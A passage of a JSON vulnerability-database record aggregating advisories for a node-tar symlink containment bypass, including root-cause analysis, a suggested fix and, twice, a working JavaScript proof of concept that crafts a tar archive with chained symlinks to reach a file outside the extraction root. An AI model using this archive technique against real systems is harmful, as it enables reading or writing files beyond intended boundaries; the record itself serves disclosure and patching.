buntu:26.04:LTS","package":"node-tar","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"}]}],"versions":["6.2.1+~cs7.0.8-1","6.2.1+ds1+~cs6.1.13-6","6.2.1+ds1+~cs6.1.13-7","6.2.1+ds1+~cs6.1.13-10"]}],"products":[{"vendor":"isaacs","product":"node-tar"}],"references":[{"url":"https://github.com/isaacs/node-tar/security/advisories/GHSA-6wwr-g865-f46r","tags":["x_refsource_CONFIRM","exploit","advisory","web","report"]},{"url":"https://github.com/isaacs/node-tar/commit/23b368128b6cf7d4c26f2e302c0e4a82f70a6e3d","tags":["x_refsource_MISC","fix","web","report"]},{"url":"https://github.com/isaacs/node-tar/releases/tag/v8.0.0","tags":["x_refsource_MISC","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-140248","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-6wwr-g865-f46r","tags":["advisory"]},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/140xxx/CVE-2026-140248.json","tags":["advisory"]},{"url":"https://security-tracker.debian.org/tracker/CVE-2026-140248","tags":["advisory"]},{"url":"https://scout.docker.com/v/DHI-iflk-u5lp-5y3l-tyhf","tags":["advisory"]},{"url":"https://ubuntu.com/security/CVE-2026-140248","tags":["advisory","report"]},{"url":"http://people.ubuntu.com/~ubuntu-security/cve/CVE-2026-140248","tags":["advisory"]},{"url":"https://github.com/isaacs/node-tar","tags":["package"]},{"url":"https://www.cve.org/CVERecord?id=CVE-2026-140248","tags":["report"]}],"sources":{"cve":[{"id":"CVE-2026-140248","title":"node-tar: Nested symlink target can escape node-tar extraction root","description":"node-tar is a tar archive manipulation library for Node.js. From 7.5.22 until 8.0.0, with preservePaths disabled, a crafted archive can first create an in-root symlink and then create a second SymbolicLink whose linkpath traverses that symlink followed by a parent component. STRIPABSOLUTEPATH evaluates the target lexically, while the filesystem follows the first symlink before applying the parent traversal. The resulting link remains inside the extraction tree but points outside it; access outside the root occurs when a later consumer follows the planted link. This issue is fixed in version 8.0.0.","status":"published","published":"2026-12-01T17:56:22.444Z","modified":"2026-12-05T02:16:27.702Z","cvss":[{"version":"4.0","score":7.2,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:H/VA:L/SC:N/SI:N/SA:N","level":"high","assessor":"cna"}],"cwes":["CWE-59"],"ssvc":{"exploitation":"poc","automatable":"yes","technical_impact":"partial","date":"2026-12-05"},"updated_at":"2026-12-05T02:25:29.606613Z"}],"euvd":[{"id":"EUVD-2026-140455","description":"node-tar is a tar archive manipulation library for Node.js. From 7.5.22 until 8.0.0, with preservePaths disabled, a crafted archive can first create an in-root symlink and then create a second SymbolicLink whose linkpath traverses that symlink followed by a parent component. STRIPABSOLUTEPATH evaluates the target lexically, while the filesystem follows the first symlink before applying the parent traversal. The resulting link remains inside the extraction tree but points outside it; access outside the root occurs when a later consumer follows the planted link. This issue is fixed in version 8.0.0.","status":"published","published":"2026-12-01T17:56:22Z","modified":"2026-12-05T02:16:27Z","cvss":[{"version":"4.0","score":7.2,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:H/VA:L/SC:N/SI:N/SA:N","level":"high"}],"updated_at":"2026-12-05T03:44:21.912352Z"}],"ghsa":[{"id":"GHSA-6wwr-g865-f46r","title":"node-tar: Nested symlink target can escape node-tar extraction root","description":"## Summary\n\nWith default `preservePaths: false`, `tar` 7.5.22 can extract a symbolic link whose effective target is outside the extraction directory. A crafted archive first creates one in-root symlink and then a second symlink whose target contains that symlink followed by `..`. The containment check simplifies the target lexically before checking filesystem symlinks, but the stored target is resolved by the OS through the first symlink. A later consumer following the extracted link can access a file outside the intended root.\n\nThis was reproduced locally on commit `2a22bfc5d3a432a606d9da0e2d87ba634aa3b1cb` (package version 7.5.22). Earlier versions were not assessed. The PoC only reads a marker that it creates in its own temporary directory. No preexisting file is touched.\n\n## Root cause\n\n`STRIPABSOLUTEPATH` accepts a symlink `linkpath` containing `..` if `path.posix.normalize(path.posix.join(entryDir, linkpath))` appears to stay inside the extraction root (`src/unpack.ts:263-302`). Later, `SYMLINK` derives `parts` using `path.resolve(dirname(entry.absolute), entry.linkpath)` (`src/unpack.ts:640-659`), which also removes `b/..` before `ENSURE_NO_SYMLINK` inspects each component (`src/unpack.ts:679-698`). `LINK` then writes the original unsimplified `entry.linkpath` with `fs.symlink` (`src/unpack.ts:866-880`).\n\nFor `a/b -\u003e ../x` and `a/c -\u003e b/../..`, the lexical check reduces the second target to the extraction root and never checks `a/b`. Actual filesystem traversal follows `a/b` to `x` first and then processes two parent components, ending in the extraction root's parent.\n\n## Safe local PoC\n\nRun from a built checkout of 7.5.22:\n\n```js\nimport { mkdtempSync, mkdirSync, writeFileSync, readFileSync } from 'node:fs'\nimport { tmpdir } from 'node:os'\nimport { join } from 'node:path'\nimport { Header, extract } from 'tar'\n\nconst parent = mkdtempSync(join(tmpdir(), 'node-tar-link-poc-'))\nconst out = join(parent, 'out')\nmkdirSync(out)\nwriteFileSync(join(parent, 'outside-marker.txt'), 'OUTSIDE MARKER\\n')\nconst block = h =\u003e {\n  const b = Buffer.alloc(512)\n  new Header(h).encode(b)\n  return b\n}\nconst input = join(parent, 'input.tar')\nwriteFileSync(input, Buffer.concat([\n  block({ path: 'x/', type: 'Directory', size: 0 }),\n  block({ path: 'a/', type: 'Directory', size: 0 }),\n  block({ path: 'a/b', type: 'SymbolicLink', linkpath: '../x', size: 0 }),\n  block({ path: 'a/c', type: 'SymbolicLink', linkpath: 'b/../..', size: 0 }),\n  Buffer.alloc(1024),\n]))\n\nconst warnings = []\nawait extract({ file: input, cwd: out, onwarn: (code, message) =\u003e warnings.push({ code, message }) })\nconsole.log(readFileSync(join(out, 'a/c/outside-marker.txt'), 'utf8').trim())\nconsole.log(warnings)\n// OUTSIDE MARKER\n// []\n```\n\nThe marker is outside `out`; the access passes through a symlink extracted under `out`. This demonstrates the target containment bypass. It does not claim that node-tar itself writes outside `out` while extracting a subsequent member; its existing path checks may stop such an entry.\n\n## Impact and suggested fix\n\nAn attacker needs to supply a tar archive to an application that extracts links and later follows or serves files from the extracted tree. The resulting link crosses the documented default target confinement. The downstream read/write impact depends on that consumer.\n\nValidate link targets using filesystem semantics before accepting them, or conservatively reject a target that traverses `..` after a symlink component. In particular, inspect the unsimplified components before `path.resolve()` removes them. Add a regression case with a symlink component followed by `..`, and assert that the second link is rejected under default options.\n\nCredit goes to GitHub user `@mikkel32` as finder/reporter in the published advisory.","status":"published","published":"2026-12-02T00:58:18Z","modified":"2026-12-02T00:58:20Z","cvss":[{"version":"4.0","score":7.2,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:H/VA:L/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-59"],"updated_at":"2026-12-02T01:03:37.845123Z"}],"nvd":[{"id":"CVE-2026-140248","description":"node-tar is a tar archive manipulation library for Node.js. From 7.5.22 until 8.0.0, with preservePaths disabled, a crafted archive can first create an in-root symlink and then create a second SymbolicLink whose linkpath traverses that symlink followed by a parent component. STRIPABSOLUTEPATH evaluates the target lexically, while the filesystem follows the first symlink before applying the parent traversal. The resulting link remains inside the extraction tree but points outside it; access outside the root occurs when a later consumer follows the planted link. This issue is fixed in version 8.0.0.","status":"published","published":"2026-12-01T18:17:29.267Z","modified":"2026-12-05T03:19:46.86Z","cvss":[{"version":"4.0","score":7.2,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:H/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high","assessor":"secondary"}],"cwes":["CWE-59"],"ssvc":{"exploitation":"poc","automatable":"yes","technical_impact":"partial","date":"2026-12-05"},"updated_at":"2026-12-05T03:21:31.003878Z"}],"osv":[{"id":"CVE-2026-140248","title":"node-tar: Nested symlink target can escape node-tar extraction root","description":"node-tar is a tar archive manipulation library for Node.js. From 7.5.22 until 8.0.0, with preservePaths disabled, a crafted archive can first create an in-root symlink and then create a second SymbolicLink whose linkpath traverses that symlink followed by a parent component. STRIPABSOLUTEPATH evaluates the target lexically, while the filesystem follows the first symlink before applying the parent traversal. The resulting link remains inside the extraction tree but points outside it; access outside the root occurs when a later consumer follows the planted link. This issue is fixed in version 8.0.0.","status":"published","published":"2026-12-01T17:56:22.444Z","modified":"2026-12-05T03:45:19.638519579Z","cvss":[{"version":"4.0","score":7.2,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:H/VA:L/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-59"],"updated_at":"2026-12-02T21:28:42.350468Z"},{"id":"DEBIAN-CVE-2026-140248","upstream":["CVE-2026-140248"],"description":"node-tar is a tar archive manipulation library for Node.js. From 7.5.22 until 8.0.0, with preservePaths disabled, a crafted archive can first create an in-root symlink and then create a second SymbolicLink whose linkpath traverses that symlink followed by a parent component. STRIPABSOLUTEPATH evaluates the target lexically, while the filesystem follows the first symlink before applying the parent traversal. The resulting link remains inside the extraction tree but points outside it; access outside the root occurs when a later consumer follows the planted link. This issue is fixed in version 8.0.0.","status":"published","published":"2026-12-01T18:17:29.267Z","modified":"2026-12-02T16:00:09.626439549Z","cvss":[{"version":"4.0","score":7.2,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:H/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high"}],"updated_at":"2026-12-02T16:19:31.134606Z"},{"id":"DHI-iflk-u5lp-5y3l-tyhf","upstream":["CVE-2026-140248"],"title":"node-tar is a tar archive manipulation library for Node.js. From 7.5.22 until 8.0.0, with preservePaths disabled, a…","description":"node-tar is a tar archive manipulation library for Node.js. From 7.5.22 until 8.0.0, with preservePaths disabled, a crafted archive can first create an in-root symlink and then create a second SymbolicLink whose linkpath traverses that symlink followed by a parent component. STRIPABSOLUTEPATH evaluates the target lexically, while the filesystem follows the first symlink before applying the parent traversal. The resulting link remains inside the extraction tree but points outside it; access outside the root occurs when a later consumer follows the planted link. This issue is fixed in version 8.0.0.","status":"published","published":"2026-12-02T04:50:20Z","modified":"2026-12-05T01:15:06.396064583Z","cvss":[{"version":"4.0","score":7.2,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:H/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","level":"high"}],"updated_at":"2026-12-05T01:40:46.291583Z"},{"id":"GHSA-6wwr-g865-f46r","title":"node-tar: Nested symlink target can escape node-tar extraction root","description":"## Summary\n\nWith default `preservePaths: false`, `tar` 7.5.22 can extract a symbolic link whose effective target is outside the extraction directory. A crafted archive first creates one in-root symlink and then a second symlink whose target contains that symlink followed by `..`. The containment check simplifies the target lexically before checking filesystem symlinks, but the stored target is resolved by the OS through the first symlink. A later consumer following the extracted link can access a file outside the intended root.\n\nThis was reproduced locally on commit `2a22bfc5d3a432a606d9da0e2d87ba634aa3b1cb` (package version 7.5.22). Earlier versions were not assessed. The PoC only reads a marker that it creates in its own temporary directory. No preexisting file is touched.\n\n## Root cause\n\n`STRIPABSOLUTEPATH` accepts a symlink `linkpath` containing `..` if `path.posix.normalize(path.posix.join(entryDir, linkpath))` appears to stay inside the extraction root (`src/unpack.ts:263-302`). Later, `SYMLINK` derives `parts` using `path.resolve(dirname(entry.absolute), entry.linkpath)` (`src/unpack.ts:640-659`), which also removes `b/..` before `ENSURE_NO_SYMLINK` inspects each component (`src/unpack.ts:679-698`). `LINK` then writes the original unsimplified `entry.linkpath` with `fs.symlink` (`src/unpack.ts:866-880`).\n\nFor `a/b -\u003e ../x` and `a/c -\u003e b/../..`, the lexical check reduces the second target to the extraction root and never checks `a/b`. Actual filesystem traversal follows `a/b` to `x` first and then processes two parent components, ending in the extraction root's parent.\n\n## Safe local PoC\n\nRun from a built checkout of 7.5.22:\n\n```js\nimport { mkdtempSync, mkdirSync, writeFileSync, readFileSync } from 'node:fs'\nimport { tmpdir } from 'node:os'\nimport { join } from 'node:path'\nimport { Header, extract } from 'tar'\n\nconst parent = mkdtempSync(join(tmpdir(), 'node-tar-link-poc-'))\nconst out = join(parent, 'out')\nmkdirSync(out)\nwriteFileSync(join(parent, 'outside-marker.txt'), 'OUTSIDE MARKER\\n')\nconst block = h =\u003e {\n  const b = Buffer.alloc(512)\n  new Header(h).encode(b)\n  return b\n}\nconst input = join(parent, 'input.tar')\nwriteFileSync(input, Buffer.concat([\n  block({ path: 'x/', type: 'Directory', size: 0 }),\n  block({ path: 'a/', type: 'Directory', size: 0 }),\n  block({ path: 'a/b', type: 'SymbolicLink', linkpath: '../x', size: 0 }),\n  block({ path: 'a/c', type: 'SymbolicLink', linkpath: 'b/../..', size: 0 }),\n  Buffer.alloc(1024),\n]))\n\nconst warnings = []\nawait extract({ file: input, cwd: out, onwarn: (code, message) =\u003e warnings.push({ code, message }) })\nconsole.log(readFileSync(join(out, 'a/c/outside-marker.txt'), 'utf8').trim())\nconsole.log(warnings)\n// OUTSIDE MARKER\n// []\n```\n\nThe marker is outside `out`; the access passes through a symlink extracted under `out`. This demonstrates the target containment bypass. It does not claim that node-tar itself writes outside `out` while extracting a subsequent member; its existing path checks may stop such an entry.\n\n## Impact and suggested fix\n\nAn attacker needs to supply a tar archive to an application that extracts links and later follows or serves files from the extracted tree. The resulting link crosses the documented default target confinement. The downstream read/write impact depends on that consumer.\n\nValidate link targets using filesystem semantics before accepting them, or conservatively reject a target that traverses `..` after a symlink component. In particular, inspect the unsimplified components before `path.resolve()` removes them. Add a regression case with a symlink component followed by `..`, and assert that the second link is rejected under default options.\n\nCredit goes to GitHub user `@mikkel32` as finder/reporter in the published advisory.","status":"published","published":"2026-12-02T00:58:18Z","modified":"2026-12-02T01:45:49.561022478Z","cvss":[{"version":"4.0","score":7.2,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:H/VA:L/SC:N/SI:N/SA:N","level":"high"}],"cwes":["CWE-59"],"updated_at":"2026-12-02T02:21:19.99336Z"},{"id":"CLSA-2026-1773706632","upstream":["CVE-2026-140244","CVE-2026-140248","CVE-2026-23745","CVE-2026-23950","CVE-2026-24842","CVE-2026-26960"],"title":"TuxCare security update for tar (6 CVEs)","description":"TuxCare rebuilt tar to address 6 CVEs. Fixed in 1.0.3-tuxcare.2.","status":"published","published":"2026-08-04T14:52:13Z","modified":"2026-12-04T16:30:09.510910534Z","updated_at":"2026-12-04T16:47:54.354282Z"},{"id":"CLSA-2026-1796209074","upstream":["CVE-2026-140118","CVE-2026-140119","CVE-2026-140230","CVE-2026-140232","CVE-2026-140233","CVE-2026-140234","CVE-2026-140235","CVE-2026-140236","CVE-2026-140237","CVE-2026-140238","CVE-2026-140239","CVE-2026-140240","CVE-2026-140241","CVE-2026-140242","CVE-2026-140243","CVE-2026-140244","CVE-2026-140245","CVE-2026-140246","CVE-2026-140247","CVE-2026-140248","CVE-2026-140249","CVE-2026-140250","CVE-2026-140251","CVE-2026-140252"],"title":"TuxCare security update for tar (24 CVEs)","description":"TuxCare rebuilt tar to address 24 CVEs. Fixed in 7.5.22-tuxcare.1.","status":"published","published":"2026-12-02T11:57:55Z","modified":"2026-12-04T19:45:08.891791393Z","updated_at":"2026-12-04T19:54:00.725358Z"},{"id":"CLSA-2026-1796224850","upstream":["CVE-2026-140118","CVE-2026-140119","CVE-2026-140230","CVE-2026-140232","CVE-2026-140233","CVE-2026-140234","CVE-2026-140235","CVE-2026-140236","CVE-2026-140237","CVE-2026-140238","CVE-2026-140239","CVE-2026-140240","CVE-2026-140241","CVE-2026-140242","CVE-2026-140243","CVE-2026-140244","CVE-2026-140245","CVE-2026-140246","CVE-2026-140247","CVE-2026-140248","CVE-2026-140249","CVE-2026-140250","CVE-2026-140251","CVE-2026-140252"],"title":"TuxCare security update for tar (24 CVEs)","description":"TuxCare rebuilt tar to address 24 CVEs. Fixed in 7.5.21-tuxcare.1.","status":"published","published":"2026-12-02T16:20:50Z","modified":"2026-12-02T21:45:15.760690069Z","updated_at":"2026-12-02T21:59:47.494138Z"},{"id":"UBUNTU-CVE-2026-140248","upstream":["CVE-2026-140248"],"description":"(node-tar is a tar archive manipulation library for Node.js. From 7.5.2 ...)","status":"published","published":"2026-12-02T00:00:00Z","modified":"2026-12-03T20:47:14.727254261Z","updated_at":"2026-12-03T21:13:04.052985Z"}]}}
